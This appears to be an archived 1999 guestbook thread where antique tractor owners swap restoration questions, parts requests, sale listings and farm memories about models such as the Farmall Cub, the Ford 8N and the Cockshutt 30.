Tom Boughner wrote on Thursday, November 11, 1999 (PST):Canada Post issued a special stamp in 1996, commemorating the fiftieth anniversary of the production of the first Cockshutt 30s at their Brantford plant. The bulletin that accompanied the stamp reported the following; Cockshutt "30" Farm Tractor Cockshutt Farm Equipment Limited was founded in 1877 by James G. Cockshutt, who invented a series of implements, including the J.G.C. Sulky Plow. The firm designed tractor-pulled implements and offered a line of American-built tractors. Ending the U.S. agreement, the company decided to design and build its own line of tractors and combines. The result of their intensive development program was the Cockshutt "30" - the first tractor equipped with live power take-off and a live hydraulic system. The first "30" was produced in Brantford, Ontario, with production increasing from 400 uits in 1946 to over 17,000 in 1949. Production ceased in 1956 and the company was sold to U.S. interests in 1962. This stamp drawing featuring a farm tractor shows a standard-tread Cockshutt "30", equipped with wheel weights. Similar models are owned by collectors and museums such as the Ontario Agriculture Museum in Milton.
J avier Andrade wrote on Wednesday, November 10, 1999 (PST):I have a 1948 Cub. I need a draw bar. Is that what it's called?
charles stanton wrote on Wednesday, November 10, 1999 (PST):i need a engine for a farmall F-20(prefer something that (prefer something that could be restored) no preference on the year.517-874-5697
Greg Christensen wrote on Wednesday, November 10, 1999 (PST):Just bought my first Farmall,a 1953 (at least I think it is) Super M.Would like any information I can find on wide front conversions.
Tom Opest wrote on Monday, November 08, 1999 (PST):Replacing the fan belt on 8N with a Wagner front loader. Front PTO loader shaft is in the way. Anyone know how to remove this shaft from engine main pulley? Thanks much!
Noah wrote on Monday, November 08, 1999 (PST):I am 16, and just purchesed my first tractor, a "M", I would apreciate any info on it. I want to restore it, and maybe do antque pulls with it. any type of info is greatly apprecated! Thanks!!!
Jason Lehn wrote on Monday, November 08, 1999 (PST):I own a 1927 D that is in great shape except for the missing stering mechanism if anyone has a stering wheel, mount, linkage, and worm gear.
pete chandler wrote on Monday, November 08, 1999 (PST):trying to align my front wheels...1948 8N...manual mentions align marks on the front spindle, where are they and with what do they align. thanks for any help
Steven Hinson wrote on Sunday, November 07, 1999 (PST):I have just acquired ny Grandfathers 1948 Cub. Serial Number 14099. It is in really sad shape. It has been sitting under a pecan tree for at least 15 years. My goal is to restore it for my kids.
Wayne Baker wrote on Sunday, November 07, 1999 (PST):I'm looking for a model G to restore. Must be complete.
Richard tucker wrote on Sunday, November 07, 1999 (PST):I would like to know if there are any known electrical diagrams for H or M Farmalls; especially for 6 to 12 volt conversions
Louie wrote on Sunday, November 07, 1999 (PST):I have a 1948 "G" that is great fun. Can anyone put some pictures on this site of their implements. Installed or not Has there ever been a sweeper for the "G". I currently have a grader'cultivator disk and breaker plow. I think pictures of a hydrualic pump and hose installed would also be interesting to see. In fact any pictures of these cute little tractors is a great Idea
Jim Egan wrote on Sunday, November 07, 1999 (PST):Is $6,000 a fair price for a IHC460 Utility with loader/snow bucket, fast hitch blade, rotary blade, post hole digger, drag drain drill?I haven't seen this yet so don't know what kind of shape it is in?Thanks, Jim Egan.
sean west wrote on Saturday, November 06, 1999 (PST):I am looking for the color scheme for this tractor or the model VA i am trying to restore one that i have recently rebuilt...does anybody have the Dupont paint #'s that were used on this model, a response would be appreciated...thanks. if you have any other information on the color could you please respond to this
Lewis wrote on Saturday, November 06, 1999 (PST):Have farmall cub for sale with belly mower in southern Mo. Good shape just need to fix up and paint. Has two new rear tires and tubes. Asking $2300
Dave Barker wrote on Saturday, November 06, 1999 (PST):I have a 1947 VAO Case that my dad bought in 1947. It orriginally had the full orchard fenders and hoods. I am looking for a left hood
Tom Boughner wrote on Saturday, November 06, 1999 (PST):As to the comment that no one knows for sure when Cockshutt started building tractors, I'd like to offer this. My parents met while both were employed at the Cockshutt plant in Brantford during the '40s. The Canadian government had commandeered the Cockshutt facility for defence production purposes, turning out components for the Avro Lancaster Mark X bomber being built by Avro Canada in Malton. With the facility upgraded to satisfy wartime defence requirements, Cockshutt was well positioned to do so and swung their production over to tractors after the war ended. Canada Post issued a commemorative postage stamp honouring the first Cockshutt 30 tractors off the Brantford assembly line in 1946. I hope this helps and is of interest.
Jon Schoeppe wrote on Saturday, November 06, 1999 (PST):I am currently restoring a 1936 F-12. It was a total basket case when I found it. I had to cut three trees out that had grown through it and dig it out where it sunk nearly one and ahalf feet in the ground. I took it as a challange. But I am looking for a pair of steel front wheels (narrow)and a complete magneto assy. Keep them out of the ditches and off thier tops and have a good day.
Ross Cumpstone wrote on Saturday, November 06, 1999 (PST):I have a 1942 Farmall A which is has duel wheels. This tractor was found in a hedge an was very tired. With a bit of fuel and paint it still does a good days work.
kimsey rutland wrote on Friday, November 05, 1999 (PST):Did this tractor have a peg or stationery draw bar? If so,where can I get one.
Mike B wrote on Friday, November 05, 1999 (PST):Here's a question for some Avery buff. The photo in the tractor shed obviously has battery ignition. I believe Avery took over the Cletrac General 'GG' line in the early 40's. It seems that the General had a different grille and maybe hood than the photo, somewhat similar but not as styled, am I right? Also, were the early Avery A's (ie. just after they took over the Generals) of the earlier (General) grille type? How easy were the magneto versions of the Avery to start? I am assuming that the early ones were magneto ignition like the Generals. Contact me at; mballash at wci.ab.ca Thanks, Mike.
Jim wrote on Friday, November 05, 1999 (PST):I have two oliver 70's for sale. both are ready for restoration.
BOB LAFRAMBOISE wrote on Friday, November 05, 1999 (PST):JUST BT FORD 2000 3 WKS AGO FROM PARKER,COLO AND WILL USE IT IN TRINIDAD COL WHERE WE HAVE 35 ACRES OF RAW LAND AND SMALL 2 ROOM GETAWAY CABIN. TAKE SER NUMBR PLUS UNIT CODE NUMBR TO DLR FOR LOTS UF RESEARCH DATE...I DID AND AM STILL
Dennis wrote on Friday, November 05, 1999 (PST):I've just started to restore a 1941 Farmall "B" (I think). The front tire is a 600-16 and the book calls for a 600-12. Does anyone know where I might find a stock front end yoke and tire (single or double)? I'm also in need of two side finders. Any help would be greatly appreciated!
Steve Shiver wrote on Thursday, November 04, 1999 (PST):So glad to know there are other model LA's out there. My 1938 is a worker, pulls 14" turning plow, splits touch rocks with it front blade! It spits oilly soot out the stack now, so time for a rebuild and carb. redo. Where does one find such parts?
Tom Byrnes wrote on Thursday, November 04, 1999 (PST):I enjoy rideing on my old 1935 Moded B brass tag tractor I have had it for 2 years now, found it after looking for a long time.Was very rusty and old looking now looks like new! I just can't get over the neat sound it makes.
Nathan wrote on Thursday, November 04, 1999 (PST):I would really,really like to add that system (ARPS halftrack)to my tractor.! I currently have landscaping tread a 16.5L-16.1 tires on the rear. And I HATE them. but they are easy on the yard grass, but lousy on snow, sand, and everyplace else that you need a little traction. So if anyone can send me plans or a source, that I'll motifiy to fit my tractor that would be very greatful.
Ryan Bortner wrote on Tuesday, November 02, 1999 (PST): I have a 1947 m and it had a mounted corn Picker on it and the picker was getting worn out so we took it off and i decided to pull with it and I have had perfessionals say that I should have no trouble with tyhe m because it is Better than any tractor ever made And has been proven. I love it a ton. when we restored it everything was right out in the open and didn't have to take every part off to get to another that is how simple they are.
David wrote on Monday, November 01, 1999 (PST):Looking for Serial Number info? Check redpower.higginsonequip.com
David wrote on Monday, November 01, 1999 (PST):Looking year for a serial number? Check higginsonequip.com
Andrew Green wrote on Sunday, October 31, 1999 (PST):I own a M-H 744D with a perkins P-6 Deisel would any body know where i can get a workshop manual ?
James Borders wrote on Sunday, October 31, 1999 (PST):I found a 1941 L down in the woods close to the Okeefonokee swamp that had been sitting for about 9 years and it took about 4 Hours to get it running. It runs and looks pretty good. Iam going to restore it this next year and take it around and show it off. So keep your eyes and ears open all the time because they are still some out there somewhere.
Jim Hellweg wrote on Sunday, October 31, 1999 (PST):I have a gas WD45 1959 Allis Chalmer and I had to change the starter relay and I am not sure that I have it hooked up right because it will not start. Can anyone help me with some kind of verbal diagram? "HELP". Thanks, Jim Hellweg aphorse at mail.usmo.com
David wrote on Sunday, October 31, 1999 (PST):I have a 1944 Farmall BN in good condition. Need mid and rear lifts. Also would like front and rear cutivators. Also need "tool bar" that mounts on front of tractor.
Rick Paden wrote on Saturday, October 30, 1999 (PDT):My "Farm Fresh" BN was free but you know how that goes. 400 dollars in tires (only the rims were present) trailer rental and 35 dollars in gas and it's home. I have a small crack in the block, engine is froze and the stock seat bracket is missing, but other than that she's cherry. Hope to find time to sink some serious time and money in it this winter. Good luck to all on their restorations. Me, I'm hooked.
Rick Paden wrote on Saturday, October 30, 1999 (PDT):I too own an I-9. It's gas no hydraulics and has tires marked Road Grader. Needs some paint and little stuff here and there but basically nice. Neat story; Went to pick it up and the semi dropped it's drive wheels in a drainage ditch. My first real use of the tractor was to pull the semi back onto the pavement so I could haul her home. Note to Alex"Easy son, we're all friends here"
Kiwi BM wrote on Saturday, October 30, 1999 (PDT):I now have a Farmall Super BM, serial #11424, and built by the International Harvester Company of Great Britain. The tractor is running well. It has been modified in its past life with mud guards, additional pto and hydraulics. It is now being used in its orignal condition and colours. I believe it is a 1952 model but no 100% sure. I am interested in finding out about the British buit series of M and Super M tractors. The U.S. has an excellent documented history on the tractors, but what is existing in the U.K.? Anyone have any information on UK sources of data on these tractors and especially their UK history. Are there any internet sites as good as this one? regards
David Clippinger wrote on Friday, October 29, 1999 (PDT):Rebel; I have an A with a cracked block. Borrowed a Dremel tool and ground out the crack live a shallow "V." Mixed up some JB weld and patched it up. I even made a plate of 1/8 inch sheet steel as a patch and put it over the crack as reinforcement. I drilled six holes and tapped them to hold it in place, then sealed it with JB weld. If you do this, drill a hole at each end of the crack to prevent it from spreading. Works good; actually runs better than before! Add some stop-leak as a good measure.
David Clippinger wrote on Friday, October 29, 1999 (PDT):Mike Shutt; A company named central tractor, based in Iowa, sells sleave and piston kits for the Farmall A and later tractors for about $300. They have an 800 number, but I do not have it on hand. Locally (for me) I can reach them at 4974 East Main Street, Batavia NY 14020 (716) 343-8567. They have a pretty good supply of parts, but I don't know of any other suppliers. If you write to them, they should send you their free catalog and 800 number. If you call them, their help is pretty knowledgeable and helpful. They also sell a shop manual for the A, which describes sleave and piston renewal from above. D.Orlando; I saw couple A's for sale locally for $1400.
Steve Wiesner wrote on Friday, October 29, 1999 (PDT):The painted red f-20 was produced starting in 1936. How long did they make the F-20. Also, the F-30 was produced about the same time. Does anyone know the actual production dates of the F-30 (painted red)
Fred wrote on Friday, October 29, 1999 (PDT):I am looking for a John Deere L or LA for sale in the Wisconsin/Michigan/Minnesota area.
michael miller, AKA farmer mike wrote on Friday, October 29, 1999 (PDT):Jeff Formo; the serial # tag should be on the left seat support, about 8 inches or so above the platform Philip Moore ; i think yolu tractor is probably a CUB, 140, 100 or something like that. i am interested in any farmall As, AVs, Bs, etc around the three corners of IN, MI, and OH. thanks in advance. you can go see my tractor at www.geocities.com/Heartland/Farm/7695/myfarmallA.jpg sorry shes not a perfectly restored thing, but.....
Gary Warren wrote on Wednesday, October 27, 1999 (PDT):My dad owned two model 44's back in 1965. I now own a model 44 that i am resoting. should have it done by next summer.
Scott Bosler wrote on Tuesday, October 26, 1999 (PDT):My dad has owned an "R" for 15 years. We have used it in the field and it has become the "flagship" tractor of our local threshing bee. It is one of the best tractors that I have been around as far as the total package for an old tractor.
MIKE MCTIGHE wrote on Monday, October 25, 1999 (PDT):I HAVE A FARMALL 200 IT RUNS GOOD BUT NEEDS RESTORATION I WOLD LIKE TO KNOW WHAT IT WORTH.
quail wrote on Sunday, October 24, 1999 (PDT):I have a l946 model B John Deere Tractor in excellent condition it has John Deere in cast iron in rearend and would like to Trade for 8N Ford tractor in good shape
Mike Conger wrote on Sunday, October 24, 1999 (PDT):I have just bought a Model Z MM the year is unknown. The serial # is 00608856. If anyone can help me find parts, manuals,etc Please e-mail me.
Dave Fritsch wrote on Sunday, October 24, 1999 (PDT):Wrote on 10/24/99.I have a 1938 3-wheeler. I use it to rake hay once in a while and to run a 38' grain elevator.My thought is it is a dangerous tractor because you can't push in the clutch and hit both brakes at the same time!
rob ralcewicz wrote on Sunday, October 24, 1999 (PDT):love this site keep it up and can you find some pics on the MM. jet star 3
Rob Carlon wrote on Sunday, October 24, 1999 (PDT):The wheels on this one are the wrong color yellow. The ones on this tractor appear to have been painted with John Deere yellow. The original MH color is lighter like the wheels on the MH 44. The engine was probably red I have never seen an MH with a black engine.
Mario Plourde wrote on Saturday, October 23, 1999 (PDT):first tractor to Albanel is a 8-16 kerosene in 1920 I need information on performance and price in 1920. thanks.
Steve Jones wrote on Saturday, October 23, 1999 (PDT):Wishing to purchase Farmall B with mint restoration. Will pickup anywhere in continental United States. 800-237-8361
Tom wrote on Saturday, October 23, 1999 (PDT):I have a 1947 vac and would like to put a 3 point hitch on it. Any info on this would be apreciated.
Bill Carlson wrote on Saturday, October 23, 1999 (PDT):I remember being 6 years old and going to my uncle Georges farm to help during haying season. The little Oliver 60 is the one my brother and I would drive with the Case conditioner on it while George Mowed with a John Deere mower. (By the way, George had two of the 60's) I worked on the farm with him til I was 16. During that time he thought he needed a bigger tracktor so he bought an Oliver 660. George was allways swappen parts back and forth to keep one or the other working. I think he still has one of the 60's and the 660. I'll ask him next thanksgiving. Those were sone of the best memories I have of growing up. I can still remember just what that tractor sounded like every time I drive through the country and smell the fresh mowed hay. Those thoughts will never leave me.
Rob Carlon wrote on Friday, October 22, 1999 (PDT):My dad has a 44 diesel row crop. I believe hp rating of the diesel is 43hp, and the gasoline version produced 39 hp.
Larry wrote on Friday, October 22, 1999 (PDT):I am restoring a 1948 Cub and I have two questions, where can I get a match for the red paint? and did the early cubs have a grill in front and what color was it?
Beef K wrote on Wednesday, October 20, 1999 (PDT):My father alway told me when we get our "G", it was like colavateing with horses in our garden.
mel hopkins wrote on Tuesday, October 19, 1999 (PDT):my father has a IH cub serial # 37119 what year would that be and what is it worth i have no e-mail at this time so write me at 3520 walker road colo springs colo 80908
Mildrige Anderson wrote on Tuesday, October 19, 1999 (PDT):Request information on the model zau minneapolis moline. lMy dad bought tis tractor in 1949. I need some of the hadraulic lift parts.
Garrett Edwards wrote on Tuesday, October 19, 1999 (PDT):We have an old and rusty Farmall F-20. I was thinking about fixing it up. Its in pretty bad shape. I wish to by parts for it. If anyone knows please let me know. Thanks.
tony cantu wrote on Tuesday, October 19, 1999 (PDT):JUST BOUGHT A 1974 CUB WITH A 6 FOOT BELLY MOWER ARE THERE ANY ATT. THAT WILL FIT IT
John Niekamp wrote on Monday, October 18, 1999 (PDT):I have a 1948 8N and I have restored back to original as can be expected. The tractor runs and looks like new (started right off the bat at minus 20F.) but I did had some problems with the 3 pt hitch last winter when it got cold out about 30 degrees I decided to put my rear blade on it and the draw bar links would not go up or down due to the old probabaly the original oil in the tranmission system. What is the cause for this is they oil to thick or is there some problem the hydro? It worked great this summer but winter is quickly approaching. What oil should be used? and what volcity?
Sean Fink wrote on Monday, October 18, 1999 (PDT):this tractor looks similar to my moms but, hers has only one front wheel and the steering wheel on hers is offset to the left. I am looking for pricing info, she wants to sell hers. Any info where to look for prices would be greatly appreciated.
Bethany Newman wrote on Saturday, October 16, 1999 (PDT):My father has an LA sitting in his barn. He bought it to restore but hasn't been able to find a good place to start. He's looking for a parts or operational manual. Does anyone know where I can find some information to pass on to him? I would appreciate any bit of information. Thank you.
Ed Rusch wrote on Saturday, October 16, 1999 (PDT):Found my F-20 in a junk yard. Runs like a new one and, other than being very rusty, has had a sheltered life I am sure. No "self commencer" and last winter when my truck got stuck, it popped off on the 4th pull at 5 degrees. Paid $800 for it. Going to invest in some paint soon.
Jeff wrote on Friday, October 15, 1999 (PDT):I have an 88 row crop. Will try to send pictures later. I don't have the wheels painted the right color, does anyone know the paint no. for the wheels? It's sort of an off red color like to 60 & 70 row crops. Later OLE JEFF
Terry Reynolds wrote on Thursday, October 14, 1999 (PDT):I have a Model A (not running, but it's all there) with a Hercules engine. It looks just like the picture here. It came with the farm when I moved here ten years ago, just have never got around to working with it. Also had a JD that I sold and a David Brown 990 that I use. I don't want to sell the Avery but would be interested in its value, parts available, etc.
John Horter wrote on Wednesday, October 13, 1999 (PDT):1935 Farmall F-20 For sale. All restored, nearly new tires, runs great. Need to sell. Best offer. NE South Dakota.
brian wrote on Wednesday, October 13, 1999 (PDT):My great grandfather bought a oliver 60 new. Its still in the family. I also bought an oliverr 70. both the 60 and the 70 have a full set of culivators on them.
Roger Boise wrote on Tuesday, October 12, 1999 (PDT):I haved restored a 1919 8-16 kerosene tractor. I have converted it back to steel wheels and have taken it to many shows with many comments. I have some misc. parts and pieces that you might possibly be interested in. I am selling my 8-16 which will be on Yahoo auctions along with other tractors and engines that I have for sale. I look forward to hearing further from you.
JOHN SAND wrote on Monday, October 11, 1999 (PDT):MY B IS A FARMALL B IVE TRIED BLOWING IT OUT WITH AIR ITS KIND OF MIXED WITH THE OIL AND DOESNT COME OUT REAL EASY I SURE WISH I WOULD OF THOUGHT OF THIS BEFORE ITS A HARD LESSON WHAT DO YOU THINK COULD HAPEN IF ANYTHING?
JOHN SAND wrote on Monday, October 11, 1999 (PDT):I sand blasted my B With oil pan off i now have sand up inside of motor now what?
steve georgesen wrote on Sunday, October 10, 1999 (PDT):I have a 1952 cub with belly mover and a rigged up grader blade I pull behind for snow removal. I'm looking for a front or belly mount blade and instructions for mounting it.
rick clyatt wrote on Sunday, October 10, 1999 (PDT):I am looking at a Ford Model 600, is this tractor also known as a NNA and what year. Is as reliable as the 8N or should I look for an 8N instead.
John Frick wrote on Sunday, October 10, 1999 (PDT):I would like to find an 8N or Jubilee in excellent working condition, preferably with some working attachments, to help me with light farming and land maintenance. I also love to look at 'em!
Roger Mumm wrote on Saturday, October 09, 1999 (PDT):I have a 1950 Cub for sale. It is equipped with a sickle-bar mower and single bottom plow and has hydraulics. It has new paint, tires, wiring, etc. Asking $2800. Located in Northern California.
Chuck Nordstrom wrote on Saturday, October 09, 1999 (PDT):Of course, all of you are correct about the later vintage of this Z MM. I have many hard hours riding that seat on a 1949 Z -- but, in its day, this was one of the easiest tractors to mount and dismount. But, you had to watch out for that PTO as my father and brother both learned to their very painful reqrets.
Wally Walen wrote on Friday, October 08, 1999 (PDT):Just purchased a 1941 Model LA today. It's in great shape, and I got two JD plows to go with it. I have a modern 870 and an antique H, as well.
walt howard wrote on Thursday, October 07, 1999 (PDT):I have a JD model 50,with live PTO and powertrol which must be engaged by turning a lever located to the left and above the gear box,it has a 3pt that works great. I also have a B,9N,Farmall A and C,but my 50 is best all round.
Rev. Lyle M. Miller, Sr. wrote on Thursday, October 07, 1999 (PDT):I am looking at a Farmall Cub with a hydraulic lift. There is a bracket that bolts onto the back of the tractor that is used with a long rod about 5 feet long that connects to the lift bar on the side of the tractor. I don't know what these two pieces are called, but they are missing and I would like to know about how much they might cost to replace either new or used. Also, a second question has to do with replacing brake parts on the cub. How difficult is it? From what I can see, it doesn't look as if it would be too hard, but then I have never tried to do anything like this on a tractor before. There is always a first time.....thank you any and all for any information.
Ken Campbell wrote on Wednesday, October 06, 1999 (PDT):I recently purchased a Farmall A, and would be interested in seeing some pictures of others. Mine has been painted and has all new decals. I'm enjoying owning it. I've always been interested in tractors.
George Magloczki wrote on Wednesday, October 06, 1999 (PDT):I have a Farmall-Cub tractor Serial No. 139658. can anybody tell what year is it. Thank you.
H HALE wrote on Tuesday, October 05, 1999 (PDT):HAVE TWO C-175 ENGINES. THAY NEED A HOME. ONE IS COMPLETE,ONE IN BASKET. HAVE PICTURES OF COMPLETE ONE THAT CAN BE E-MAILED.
Charlie Crume wrote on Tuesday, October 05, 1999 (PDT): Looking for a Farmall 10-20.. any one have one or pictures of one.... my Dad started farming with on... thanks
Ted wrote on Tuesday, October 05, 1999 (PDT):I have a B for parts. Engine is froze.
Brian wrote on Monday, October 04, 1999 (PDT):Rick, If Im not mistaken, serial# *8N225324* is a 1949, not a 1950 like you said. According to my info, 1949 starts at *8N141370* and 1950 starts at *8N245637.
Erich Henning wrote on Sunday, October 03, 1999 (PDT):I am looking for a farmall f-20. My dad talked about the f-20. That's his dad had once on the farm. Iwould like to find one. for him. preferably one needs some TLC. Any informatoin on finding one would greatly be appreciated by
Webb wrote on Sunday, October 03, 1999 (PDT):does anybody have a Allis Chalmers "G" for sale in North Carolina or know anybody that does or in southern Virginia under $2,000 that is not restored
thomas fagen wrote on Sunday, October 03, 1999 (PDT):10's are cool, but lets face it. The 1206 will rule forever
Dave Pettigrew wrote on Sunday, October 03, 1999 (PDT):We have just purchased a W4 Im looking for wiring diagram and how to ajust brakes Thanks Dave
Greg wrote on Friday, October 01, 1999 (PDT):I have a 1950 VAO and I am looking for a rear rim. It is a 10x28 with clamps. If you can help with any information it would be great.
doug johnston wrote on Wednesday, September 29, 1999 (PDT):I have a Cockshutt 40 diesel with the Buda 6 cylinder engine. It was siezed when I bought it 2 years ago. I have stripped down the engine completely. I have had problems getting sleeves. 4 of them were badly pitted. All other parts are available. Hope to have it running by next summer.
PRESTON WELLS wrote on Wednesday, September 29, 1999 (PDT):Would be interested in communicating with anyone who has an IHC 8-16 . Im going to start restoring my 1918 soon.
Bob H wrote on Wednesday, September 29, 1999 (PDT):I have 1941H I restored 2 years ago. Have been in 4 or 5 fairs.Much fun!Love to watch those who are just getting interested.I feel that in a few years will be in great demand because of their smaller size.Am looking for early J.D. mod.B in CT.,Mass.or VT.
Darald Marin wrote on Tuesday, September 28, 1999 (PDT):I grew up on a Super MD. The tractor came home in August 1952 and is still on the same farm. My brother owns it now. It was restored about 10 years ago by my dad and I. The SMD was burning oil when new, so the IH service man took the tractor for a drive, when he returned he told my dad that the rings should seat now; only after several years did the dealer tell him that the service man gave it the "bon-ami" treatment, a teaspoon of bon-ami for each cylinder into the intake at high idle. That set of sleeves and pistons did 10000hours. The tractor now has 18000 plus hours and has not done any real work for over twenty years. When it did work, it farmed 640 acres and hayed for 125 cows, all in southern Saskatchewan. I was 10 years old when it was new so I made many of those 18000 hours. I now have a few of the old IH 4 cylinder diesels and enjoy running them. They are an engine unlike any other, the sound when they start on gas and then the smell when they switch to diesel is IH's own.
Dave Sapp wrote on Tuesday, September 28, 1999 (PDT):All of you guys are absolutely correct. This is a ZB, made between 1953 and 1955. I had a 55. They had the high seat like the UB. Must have some bad serial number info if you think this is a 1937 it would have a red nose. Wheels are painted wrong. They should be all red, no aluminum trim.
Mr Gadget wrote on Monday, September 27, 1999 (PDT):Just purchased a 350 Utility, with front-end loader (front drive pump), all tin is there, pretty straight, too. It has a standard "quick-tach" (or whachacallit) with an optional setup to convert to 3-point. Found it in the weeds behind a guy's quonset. Hadn't been run for a couple years. Drained the old gas, added fresh, check the fluids, pull started it. It ran a few seconds and quit. Couldn't get it goin' again, but bought it anyway. Is $1200 too much?
Mike Shutt wrote on Sunday, September 26, 1999 (PDT):I just purchased a Farmall A s/n 17588, looks just like hicrop pictured, but no generator. It is Magnito ignition and overhead valve. It has all under side cultivator stuff and PTO on back. Can engine be re-sleaved? No. 2 is cracked, otherwise seams to be all there. Engine No. is 6342 DD with a 2 under the number. What does this tell me?
Lynette wrote on Sunday, September 26, 1999 (PDT):I am restoring my fathers B International tractor. He bought the tractor and a 2 bottom international plow (on steel wheels) in 1942. The plow looks like it has some blue paint on the shanks. My mother thinks that was original. Does anyone know the paint combination of that vintage plow. I's appreciate any information.
Chad Lambert wrote on Sunday, September 26, 1999 (PDT):My neigbor and I have been resotring an old Massey Harris 44. The serial number has 44v on it, which makes me think that it is a rare vinyard tractor. Can anyone tell me how I can tell definently tell what it is? And whether or not it is a 44 vinyard.
Nathan wrote on Saturday, September 25, 1999 (PDT):I have a 1931 Farmall Regular and it's hard to get info on it. It's been totally restored and everything. It runs great!!! My question for you is, what would be the value of it? And where can i go to get info on it, like what tests were preformed on it and how many were made. If anyone can help me it would be a lot of help to me.
Charlie Dague wrote on Saturday, September 25, 1999 (PDT): I have a farmal H and I am still farming with it.
PIGLET534 wrote on Thursday, September 23, 1999 (PDT):My friend next door wants to know if you have any pictures on a ford tractor 800.He has one and needs parts on it so if yu can please email me and tell me where I could find some supplies.
BRUCE wrote on Thursday, September 23, 1999 (PDT):WHERE CAN I FIND TRACKS FOR MY 8N
Franklin Duddy wrote on Wednesday, September 22, 1999 (PDT):I have a 1949 Farmall M. I want to modify the engine for pulling. Does anyone know how big I can make the cylinders and what pistons to use. Also how much to stroke the crank and be still reliable. Is there parts like this available? Also any other information, head work etc. Thank you
Paul Campbell wrote on Tuesday, September 21, 1999 (PDT):Does anyone have a base wet weight figure for a cub? I have a 1950 that I have to haul across state and want to make sure that my utility trailer will handle it. By the way, for the farmer with the Serial Number#12,000, your Cub was built in early 1948.
Tim wrote on Tuesday, September 21, 1999 (PDT):I can just vaguely remember Dad's 420C with the front end loder. He was cleaning out the neighbors swamp with it one day and got it stuck on the mud real good. Took a Cat D-4 and a tandem-axle dump truck to pull it out. What a mess!
Jeff Formo wrote on Monday, September 20, 1999 (PDT):I have a Farmall A, And I havn't found any kind of manufacturers tag on it. How do I find out what year it is?
Lynette wrote on Monday, September 20, 1999 (PDT):I am restoring a "B" and need a battery box and cover. I have two of them, but they are both rusted through. I am also looking for the front emblem.
CHRIS SKAR wrote on Monday, September 20, 1999 (PDT):Looking for a pneumatic lift for a farmall B. Need the part that sits on top of the manifold.
Jim Mikowski wrote on Monday, September 20, 1999 (PDT):I looking to buy a farmall cub with belly mower and other attachments. Must be in good running condition.
C. Douglas Caffey wrote on Monday, September 20, 1999 (PDT):I have Have located an L model in good condition. What is a reasonable price? Can needed parts be found for this model? Thanks for your comments.
bill rowan wrote on Sunday, September 19, 1999 (PDT):my uncle is looking for oil pump parts for his 2850 hart parr
Steve Conreaux wrote on Saturday, September 18, 1999 (PDT):I bought my VAC off it's original owner 3 years ago to mow 12 acres of grass. I had a good laugh when looking through the owners manual, finding the original "Customer's Machinery and Implement Order" form only to find out that I purchased it for $300 more than it sold for new! It's been a great runner and will pull a 7 1/2' finish mower. I am currently gathering the parts to convert it over to a 12 volt system.
jerry wrote on Saturday, September 18, 1999 (PDT):i have several olivers including a 70 row crop and two 77s and one 88 that i want to sell it needs complete resturation
STEVE LEWIS wrote on Saturday, September 18, 1999 (PDT):I,Have 601 work master. I want to convert 6 volt to 12 volt.I know GEN AND BATT.But thats all I know can you help?
billymallenjr. wrote on Saturday, September 18, 1999 (PDT):do any body know where i can autction one off and find out how much one is worth.
Mark Byrd wrote on Friday, September 17, 1999 (PDT):I have a 1953 JD 60 that I recently restored. I also have a problem with the PTO shaft not wanting to engage. Please contact me if you have any answers.
Ron Heuss wrote on Friday, September 17, 1999 (PDT):I believe there is one of these in Temple, Texas on the showgrounds of the Texas Early Day Tractor and Engine Association. It belongs to Frank Turner of Temple
Ed H. wrote on Thursday, September 16, 1999 (PDT):I have a tractor that is a B model. Even the part nos match others like it. The place where the serial no usually is, in front of the seat, is blank. It has a tag on the fender that identifies it as an International tractor with ser. no. FAA251617. Also the seat is the steel molded type not the cushion type. Any help is appreciated.
Dennis Henslee wrote on Wednesday, September 15, 1999 (PDT):I have a JD like the one in the picture at top of page. It is for sale in Fresno Calif. 800.00 OBO. Thanks 559-291-4228
Tex Evans wrote on Wednesday, September 15, 1999 (PDT):I have either a W-12 or a W-14. I think it's a W-14 because it has the aluminum tag on the radiator top tank that says McCormick Deering. I think the W-12's had the cast iron raised letters instead. My serial number tag is gone, and I can't find any matching casting numbers. What year is the one pictured? Does it have the aluminum tag on the radiator? Do you have any extra parts for one of them, such as the drawbar?
RON JOHNSON wrote on Tuesday, September 14, 1999 (PDT):MY TRACTOR IS SIMILIAR TO YOURS BUT IS NOT AS HEAVY FRAMED TRACTOR PLUS I HAVE 2 OLD STEEL WHEEL INTERNATIONAL TRACTORS I AM TRYING TO FIND SOMEONE TO TELL ME THEIR AGEAND WOULD LIKE TO SEE SOME OLD PICTURES OF THEM THANK YOU
dennis bradley wrote on Monday, September 13, 1999 (PDT):what is the hp rating on a massey 44?
chuck cook wrote on Monday, September 13, 1999 (PDT):I HAVE A CLETRAC GG MODEL# 212 I'M LOOKING FOR MORE INFO ON IT. IT HAS BEEN MODIFIED DRASTICALY . ITS VALUE AS A COLLECTOR TRACTOR IS PROBABLY TOTALLY GONE,BUT IT DOES HAVE A PERSONAL VALUE TO ME . I USE IT TO SKID LOGS, PULL STUMPS, BUSHHOG, PULL WOOD WAGON, AND HOPEFULLY THIS WINTER,PLOW SNOW. ANY INFO ,PICTURES WOULD BE GREATLY APPRECIATED.
Joseph Akerman wrote on Sunday, September 12, 1999 (PDT):My father is a dairy farmer and he has a Farmall H, Farmall M, Farmall F-20, and a Farmall Super M. When I was doing a report for school and I found this site very helpful
Dave Snyder wrote on Sunday, September 12, 1999 (PDT):My e-mail address is davenpam at cbiowa.com.
Dave Snyder wrote on Sunday, September 12, 1999 (PDT):I have a 1953 Super M with an M and W clutch attachment. I have replaced the clutch disc but I am still getting slippage in the clutch. Anyone that has any information on M and W clutches, please e-mail me. Thanks.
JAY ROACH wrote on Sunday, September 12, 1999 (PDT):I am having problems with my mid 1940 WC Allis Chalmer. I cant seem to time the rotor button with the mag ( little gear /big gear inside). I use it regularly for work around my business. Recently the points went bad and I replaced the points, but unfortunately it is not timed correctly. If anyone can help me with this problem i would appreciate it. Thanks
Mike Hood wrote on Sunday, September 12, 1999 (PDT):Does anyone have any information about a Farmall Super MTA such as value and rarity of this model. My family owns one in excellent condition but I have never seen another one.
BILL WAGAMAN wrote on Sunday, September 12, 1999 (PDT):1941 B MODEL JOHN DEERE
Bud Arter wrote on Saturday, September 11, 1999 (PDT):my dad just bought an R about six months ago and we are in the process of rebuilding it and restoring it.we are having a hard time finding .045 pistons. if any one knows were there are aset of pistons we like to know.
